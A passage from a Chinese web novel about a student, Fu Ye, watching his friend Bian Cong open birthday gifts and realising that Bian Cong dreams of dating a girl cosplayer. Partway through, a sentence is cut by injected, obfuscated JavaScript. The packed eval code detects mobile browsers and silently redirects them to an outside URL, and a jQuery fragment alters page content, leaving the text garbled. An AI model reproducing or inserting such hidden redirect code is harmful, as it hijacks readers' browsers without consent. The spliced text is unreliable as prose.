听到这句话的付野很快地低下头眨了两下眼睛。 边淙抬手拍了他一下,笑着将这件衣服折好塞进袋子里:“我不会穿的,你死心吧!” “喂——”陶阳焱不满。 但没有用,边淙已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15293081|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经去拆第三个盒子了。 他是真的很受欢迎的,在无限的爱里长大的一只小狗,他的生日礼物不仅仅是跟他关系很好的那几个人才给他送,很多送他东西的人付野甚至叫不出名字来。 但无法反驳的是,每个人送给他的礼物都是按照他的喜好准备的,关系没那么深的朋友们送的多是单个吧唧立牌明信片或者是小蛋糕小零食之类的。 而这些每天和边淙混迹在一块儿的好朋友们—— 无论是唐筱晴投其所好花了很长很长时间淘来的边淙喜欢的漫画书还是陶阳焱根据他喜欢的角色特意买的痛衣,抑或者陈阳提前了将近半年定的角色手办,黎夏漾特意找人定制的扎好了吧唧的痛包。 几乎每一样都不是边淙大声嚷嚷着自己要过生日了的时间节点能买到的东西。 他们每个人都有在提前很长很长时间就给这只快乐小狗定生日礼物。 付野终究无法和他们相比。 “我的天……”边淙望着自己桌上拆开了的那几样礼物,虽然没有什么是他真的缺少没有的,但被朋友们放在心上的幸福感依旧是无法比拟的,他夸张地捂着胸口仰头,“我真是太爱你们了,我好圆满!!” “哈哈哈哈哈淙啊,这就圆满了啊?!你现在已经十八了,不算早恋了!”陶阳焱揽着他的肩膀,“之前天天嚷嚷着说自己成年后一定要找一个和你喜好相同的二次元coser妹妹谈恋爱,可以开始找了,找到了那就是真的圆满了!” 边淙“鹅鹅鹅”笑了好几声,十分郑重地点头:“这个是真得找,我的毕生梦想就是和同好且coser的妹妹谈恋爱!” 付野低下眼。 二次元,coser,妹妹。 边淙喜欢女生。 他不是女生。 他也变不成女生。